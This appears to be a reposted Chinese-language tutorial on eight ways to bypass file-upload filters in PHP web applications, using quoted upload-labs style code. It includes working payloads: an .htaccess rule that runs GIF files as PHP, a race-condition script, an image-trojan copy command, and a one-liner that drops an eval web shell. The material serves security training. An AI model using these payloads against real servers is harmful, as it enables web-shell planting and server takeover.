前言
目前,文件上传往往在业务中不可避免,也是极其容易出现上传漏洞。根据owasptop10中的排名,文件上传漏洞(属于攻击检测和防范不足)高居其中。今天和大家分享常见的文件上传的绕过方式。
正文
** 绕过方式一:前端绕过**
首先,根据前端页面队上传文件的过滤来看,过滤主要是根据如下的JS代码实现:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif|.php";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
这种我们就可以采用这些方式绕过:1. 删除浏览器事件;2.burpsuite 抓包修改文件后缀名绕过;3.构造本地上传表单绕过。4.浏览器禁止JS运行(相当于删除了浏览器事件)。
删除浏览器事件
浏览器禁止JS运行
burp suite抓包修改数据
绕过方式二:黑名单绕过
首先看一看过滤的一些关键代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name); //删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //将.和后面的内容显示出来
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
$file_ext = trim($file_ext); //去掉前后的空格
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
从上述代码中可以看出来:在代码层面上,通过黑名单的方式过滤了后缀名为:asp、aspx、php、jsp 的文件。并且过滤了:大小写绕过、::$data绕过、空格绕过、点绕过方式。
这种情况下,如果httpd.conf文件中存在如下的配置,那么我们就可以采用配置文件中允许的后缀名进行绕过:
不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如上述配置。
绕过方式三:.htaccess文件绕过
绕过方式二中,我们可以看出来,黑名单中过滤了许多的文件后缀。除了.htaccess后缀。.htaccess文件的作用是:.htaccess就是httpd.conf的衍生品,它起着和httpd.conf相同的作用。使用条件:1.mod rewrite 模块开启;2. /etc/apache2/apache2.conf 中设置AllowOverride ALL。
.htaccess文件中写入任选如下内容:
方式一:AddType application/x-httpd-php .gif
方式二:
<FilesMatch "*.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
</FilesMatch>
成功绕过:
** 绕过方式四:文件后缀名绕过**
文件后缀名 绕过有如下的几种方式:1. 大小写绕过;2.空格绕过;3. 使用符号.绕过;4.使用::$DATA绕过;5. 双写文件后缀名绕过。
过滤代码可以参考黑名单过滤代码。让绕过实现:
绕过方式五:利用apache解析漏洞绕过
Apache 从右向左解析,遇到不认识的文件名会跳过。比如 muma.php.xx.jpg,看似是一个jpg文件,但是交到apache进行处理的时候,apache找不到.php后缀名的文件,所以,apache会从右向左一个一个剥离,直到找到了.php文件。然后才交给php处理。
绕过方式六:%00截断绕过
过滤方式:使用白名单过滤:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
绕过前提:php版本小于5.3.29,且php.int 内的magic_quotes_gpc为关闭状态。原理是:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。
get请求方式如下:
post请求方式如下:
写入这个后,我们需要将%00转码后再进行转发,选择%00后点击右键,按照图中所示转码
** 绕过方式七:条件竞争绕过**
如果知道是先将文件存储后再判断后缀名,如果不在黑名单里面的话就保留,如果在黑名单里面的话就删除,因此可以利用特性进行条件竞争:
首先:bp发送给Intruder,查看发送文件名字为shell.php,发送内容为:
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["benben"]); ?>'); ?>
以上一句话木马的意思是,如果该页面被人访问,会自动创建一个php文件到本目录里面。设置数据包无限重发:
第二步:在burpsuite重放数据包之前,打开python脚本运行,脚本代码如下所示:
import requests //导入request模块
url = "http://127.0.0.1/upload/upload/shell.php" // 指定url
while True: //使用while循环多次发送请求
html = requests.get(url) //通过get方式请求url
if html.status_code == 200: //进行if判断:如果返回的状态码是200 就终端循环
print("OK,request is final")
break
else:
print("NO,again request")
第三步:运行脚本,并开始重放攻击:
** 绕过方式八:文件内容绕过**
我们可以再文件头部中添加一些用来描述如图片特性的特征值,将这些特征值用来伪装php文件。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
绕过方法:1.图片木马;2.添加图片特征值。
制作图片木马:
copy 1.php/a + xiaozhupeiqi.jpg/b muma.jpg
添加特征值,如再1.php中添加:GIF89a,这gif图片的特征值。
总结
未知攻焉知防。最后给大家推荐几个在线练习文件上传漏洞的靶场。瑞斯拜!!!
My Upload
upload-labs
版权归原作者 韧雨之弥 所有, 如有侵权,请联系我们删除。